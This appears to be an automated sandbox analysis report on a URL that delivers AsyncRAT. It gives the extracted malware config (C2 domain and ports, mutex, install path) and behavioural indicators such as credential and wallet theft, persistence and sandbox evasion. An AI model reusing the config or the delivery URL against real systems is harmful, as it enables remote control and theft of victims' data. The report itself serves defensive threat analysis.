asyncrat | hxxps://bumida-cloud[.]andalsoftware[.]com/surprise[.]html?id=341631501290569730

Analysis

max time kernel
599s
max time network
593s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
18-05-2024 13:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://bumida-cloud.andalsoftware.com/surprise.html?id=341631501290569730

Score

10^/10

asyncrat 1877 execution rat spyware stealer upx

Malware Config

Extracted

Family

asyncrat

Version

Xoshnaw

Botnet

1877

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

127.0.0.1:1877

nerakar.duckdns.org:6606

nerakar.duckdns.org:7707

nerakar.duckdns.org:8808

nerakar.duckdns.org:1877

Mutex

3YeYWvX7BQIk

Attributes

delay
3
install
true
install_file
chroma.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\chroma.exe	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

4404 powershell.exe
2460 powershell.exe
2928 powershell.exe
Downloads MZ/PE file

pid	process
4404	powershell.exe
2460	powershell.exe
2928	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

updater.exechroma.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	updater.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	chroma.exe

Executes dropped EXE 7 IoCs

Processes:

updater.exechroma.exeexplorer.exeiexplorer.exeexplorer.exechroma.exerar.exe

pid process

4116 updater.exe
2596 chroma.exe
3656 explorer.exe
4664 iexplorer.exe
3248 explorer.exe
5668 chroma.exe
848 rar.exe

pid	process
4116	updater.exe
2596	chroma.exe
3656	explorer.exe
4664	iexplorer.exe
3248	explorer.exe
5668	chroma.exe
848	rar.exe

Loads dropped DLL 25 IoCs

Processes:

MsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeexplorer.exe

pid	process
5060	MsiExec.exe
5060	MsiExec.exe
1552	MsiExec.exe
1552	MsiExec.exe
1552	MsiExec.exe
1736	MsiExec.exe
4092	MsiExec.exe
3248	explorer.exe
3248	explorer.exe
3248	explorer.exe
3248	explorer.exe
3248	explorer.exe
3248	explorer.exe
3248	explorer.exe
3248	explorer.exe
3248	explorer.exe
3248	explorer.exe
3248	explorer.exe
3248	explorer.exe
3248	explorer.exe
3248	explorer.exe
3248	explorer.exe
3248	explorer.exe
3248	explorer.exe
3248	explorer.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 41 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/3248-2758-0x00007FFD81FA0000-0x00007FFD82589000-memory.dmp	upx
behavioral1/memory/3248-2760-0x00007FFD9CCB0000-0x00007FFD9CCBF000-memory.dmp	upx
behavioral1/memory/3248-2759-0x00007FFD999E0000-0x00007FFD99A03000-memory.dmp	upx
behavioral1/memory/3248-2765-0x00007FFD999B0000-0x00007FFD999DD000-memory.dmp	upx
behavioral1/memory/3248-2768-0x00007FFD8F360000-0x00007FFD8F4D7000-memory.dmp	upx
behavioral1/memory/3248-2767-0x00007FFD99960000-0x00007FFD99983000-memory.dmp	upx
behavioral1/memory/3248-2766-0x00007FFD99990000-0x00007FFD999A9000-memory.dmp	upx
behavioral1/memory/3248-2770-0x00007FFD9B6F0000-0x00007FFD9B6FD000-memory.dmp	upx
behavioral1/memory/3248-2769-0x00007FFD99940000-0x00007FFD99959000-memory.dmp	upx
behavioral1/memory/3248-2773-0x00007FFD83640000-0x00007FFD83B60000-memory.dmp	upx
behavioral1/memory/3248-2772-0x00007FFD8F290000-0x00007FFD8F35D000-memory.dmp	upx
behavioral1/memory/3248-2771-0x00007FFD95B10000-0x00007FFD95B43000-memory.dmp	upx
behavioral1/memory/3248-2778-0x00007FFD99920000-0x00007FFD99934000-memory.dmp	upx
behavioral1/memory/3248-2779-0x00007FFD9A890000-0x00007FFD9A89D000-memory.dmp	upx
behavioral1/memory/3248-2777-0x00007FFD81FA0000-0x00007FFD82589000-memory.dmp	upx
behavioral1/memory/3248-2780-0x00007FFD8F170000-0x00007FFD8F28C000-memory.dmp	upx
behavioral1/memory/3248-2957-0x00007FFD999E0000-0x00007FFD99A03000-memory.dmp	upx
behavioral1/memory/3248-2968-0x00007FFD81FA0000-0x00007FFD82589000-memory.dmp	upx
behavioral1/memory/3248-2969-0x00007FFD999E0000-0x00007FFD99A03000-memory.dmp	upx
behavioral1/memory/3248-2978-0x00007FFD8F290000-0x00007FFD8F35D000-memory.dmp	upx
behavioral1/memory/3248-2977-0x00007FFD95B10000-0x00007FFD95B43000-memory.dmp	upx
behavioral1/memory/3248-2975-0x00007FFD99940000-0x00007FFD99959000-memory.dmp	upx
behavioral1/memory/3248-2974-0x00007FFD8F360000-0x00007FFD8F4D7000-memory.dmp	upx
behavioral1/memory/3248-2979-0x00007FFD83640000-0x00007FFD83B60000-memory.dmp	upx
behavioral1/memory/3248-2983-0x00007FFD99960000-0x00007FFD99983000-memory.dmp	upx
behavioral1/memory/3248-2995-0x00007FFD81FA0000-0x00007FFD82589000-memory.dmp	upx
behavioral1/memory/3248-3087-0x00007FFD81FA0000-0x00007FFD82589000-memory.dmp	upx
behavioral1/memory/3248-3099-0x00007FFD99920000-0x00007FFD99934000-memory.dmp	upx
behavioral1/memory/3248-3112-0x00007FFD83640000-0x00007FFD83B60000-memory.dmp	upx
behavioral1/memory/3248-3111-0x00007FFD8F290000-0x00007FFD8F35D000-memory.dmp	upx
behavioral1/memory/3248-3110-0x00007FFD95B10000-0x00007FFD95B43000-memory.dmp	upx
behavioral1/memory/3248-3109-0x00007FFD9B6F0000-0x00007FFD9B6FD000-memory.dmp	upx
behavioral1/memory/3248-3108-0x00007FFD99940000-0x00007FFD99959000-memory.dmp	upx
behavioral1/memory/3248-3107-0x00007FFD999B0000-0x00007FFD999DD000-memory.dmp	upx
behavioral1/memory/3248-3106-0x00007FFD8F360000-0x00007FFD8F4D7000-memory.dmp	upx
behavioral1/memory/3248-3105-0x00007FFD9A890000-0x00007FFD9A89D000-memory.dmp	upx
behavioral1/memory/3248-3104-0x00007FFD9CCB0000-0x00007FFD9CCBF000-memory.dmp	upx
behavioral1/memory/3248-3103-0x00007FFD999E0000-0x00007FFD99A03000-memory.dmp	upx
behavioral1/memory/3248-3102-0x00007FFD99990000-0x00007FFD999A9000-memory.dmp	upx
behavioral1/memory/3248-3101-0x00007FFD8F170000-0x00007FFD8F28C000-memory.dmp	upx
behavioral1/memory/3248-3092-0x00007FFD99960000-0x00007FFD99983000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Blocklisted process makes network request 1 IoCs

Processes:

msiexec.exe

flow pid process

87 4540 msiexec.exe

flow	pid	process
87	4540	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exemsiexec.exe

description	ioc	process
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

166 ip-api.com

flow	ioc
166	ip-api.com

Drops file in Program Files directory 64 IoCs

Processes:

msiexec.exe

description	ioc	process
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\clean-stack\license	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\lru-cache\dist\esm\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\gyp\pylib\gyp\MSVSVersion.py	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\qrcode-terminal\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\content\commands\npm-start.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\env-paths\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\output\commands\npm-adduser.html	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\lib\commands\audit.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\lib\override-set.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\lib\spec-from-lock.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\core\dist\asn1\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\diff\runtime.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\lib\reset-dep-flags.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\core\dist\encoding.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\minimatch\dist\esm\brace-expressions.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\bin\npm.ps1	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\iconv-lite\encodings\utf16.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\isexe\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\validate-npm-package-license\LICENSE	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\protobuf-specs\dist\__generated__\sigstore_bundle.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\glob\dist\esm\walker.d.ts.map	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\socks-proxy-agent\LICENSE	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\lib\utils\error-message.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\man\man1\npm-version.1	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\tar\lib\types.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\redact\lib\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\jsbn\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\release-please-config.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\semver\internal\re.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\content\commands\npm-team.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\output\commands\npm-explore.html	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\output\commands\npm-fund.html	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@tufjs\models\dist\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\http-proxy-agent\dist\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\pacote\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\semver\functions\lt.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\errors.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\installed-package-contents\lib\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\lib\find-node-directory.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\supports-color\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\corepack\shims\nodewin\yarnpkg.ps1	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\lib\debug.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\lib\configure.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\socks\docs\migratingFromV1.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\tar\LICENSE	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\lib\commands\outdated.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\minimatch\dist\esm\unescape.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\gyp\pylib\gyp\generator\dump_dependency_json.py	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\lib\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\core\dist\stream.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\gyp\pylib\gyp\simple_copy.py	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\treeverse\lib\breadth.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\tuf-js\dist\config.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\util-deprecate\LICENSE	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\content\commands\npm-owner.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\lib\install.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\lib\log.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\lib\peer-entry-sets.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\fs\lib\cp\errors.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\diff\dist\diff.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\glob\dist\commonjs\walker.js.map	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\iconv-lite\LICENSE	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\ini\lib\ini.js	msiexec.exe

Drops file in Windows directory 15 IoCs

Processes:

msiexec.exe

description	ioc	process
File opened for modification	C:\Windows\Installer\MSI3553.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI417C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{C46EC983-913A-4416-B426-9F16D3473F1B}\NodeIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\e58341b.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3593.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{C46EC983-913A-4416-B426-9F16D3473F1B}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3CE7.tmp	msiexec.exe
File created	C:\Windows\Installer\{C46EC983-913A-4416-B426-9F16D3473F1B}\NodeIcon	msiexec.exe
File created	C:\Windows\Installer\e58341b.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6A13.tmp	msiexec.exe
File created	C:\Windows\Installer\e58341d.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6CD3.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

vssvc.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000eb40c78f8f3426de0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000eb40c78f0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900eb40c78f000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1deb40c78f000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000eb40c78f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

5580 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

5620 timeout.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

2912 WMIC.exe
Enumerates processes with tasklist 1 TTPs 3 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exe

pid process

4940 tasklist.exe
3304 tasklist.exe
2588 tasklist.exe

pid	process
5580	schtasks.exe

pid	process
5620	timeout.exe

pid	process
2912	WMIC.exe

pid	process
4940	tasklist.exe
3304	tasklist.exe
2588	tasklist.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exechrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

3624 systeminfo.exe

pid	process
3624	systeminfo.exe

Kills process with taskkill 9 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
5260	taskkill.exe
5416	taskkill.exe
1412	taskkill.exe
6072	taskkill.exe
5164	taskkill.exe
3140	taskkill.exe
1708	taskkill.exe
5388	taskkill.exe
5912	taskkill.exe

Modifies data under HKEY_USERS 6 IoCs

Processes:

chrome.exechrome.exemsiexec.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133605127868595404"	chrome.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2b	msiexec.exe

Modifies registry class 30 IoCs

Processes:

msiexec.exechrome.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\389CE64CA31961444B62F9613D74F3B1\corepack	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\389CE64CA31961444B62F9613D74F3B1\DocumentationShortcuts	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\SourceList\Media\1 = ";"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\389CE64CA31961444B62F9613D74F3B1\EnvironmentPathNpmModules = "EnvironmentPath"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\ProductName = "Node.js"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\A3A70C74FE2431248AD5F8A59570C782	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\A3A70C74FE2431248AD5F8A59570C782\389CE64CA31961444B62F9613D74F3B1	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\SourceList\Net\1 = "C:\\Users\\Admin\\Downloads\\"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings	chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\389CE64CA31961444B62F9613D74F3B1\npm	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\PackageCode = "A31AC3227FAAC8A4CB66BF43C80D59DE"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\Version = "336396289"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\389CE64CA31961444B62F9613D74F3B1\EnvironmentPathNode = "EnvironmentPath"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\ProductIcon = "C:\\Windows\\Installer\\{C46EC983-913A-4416-B426-9F16D3473F1B}\\NodeIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\SourceList\PackageName = "node-v20.13.1-x64.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\389CE64CA31961444B62F9613D74F3B1\NodeRuntime	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\389CE64CA31961444B62F9613D74F3B1	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\389CE64CA31961444B62F9613D74F3B1\EnvironmentPath	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\389CE64CA31961444B62F9613D74F3B1\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\Downloads\\"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 56 IoCs

Processes:

chrome.exemsiexec.exechrome.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exechroma.exepowershell.exepowershell.exepowershell.exepowershell.exechrome.exechrome.exe

pid	process
2416	chrome.exe
2416	chrome.exe
2928	msiexec.exe
2928	msiexec.exe
2416	chrome.exe
2416	chrome.exe
3148	chrome.exe
3148	chrome.exe
2472	powershell.exe
2472	powershell.exe
2928	powershell.exe
2928	powershell.exe
2460	powershell.exe
2460	powershell.exe
2472	powershell.exe
2472	powershell.exe
2460	powershell.exe
2460	powershell.exe
2928	powershell.exe
2928	powershell.exe
3764	powershell.exe
3764	powershell.exe
4404	powershell.exe
4404	powershell.exe
4404	powershell.exe
3764	powershell.exe
2596	chroma.exe
2596	chroma.exe
2596	chroma.exe
2596	chroma.exe
2596	chroma.exe
2596	chroma.exe
2596	chroma.exe
2596	chroma.exe
2596	chroma.exe
2596	chroma.exe
2596	chroma.exe
2596	chroma.exe
2596	chroma.exe
2596	chroma.exe
2596	chroma.exe
2596	chroma.exe
5408	powershell.exe
5408	powershell.exe
5792	powershell.exe
5792	powershell.exe
1776	powershell.exe
1776	powershell.exe
1504	powershell.exe
1504	powershell.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
3004	chrome.exe
3004	chrome.exe

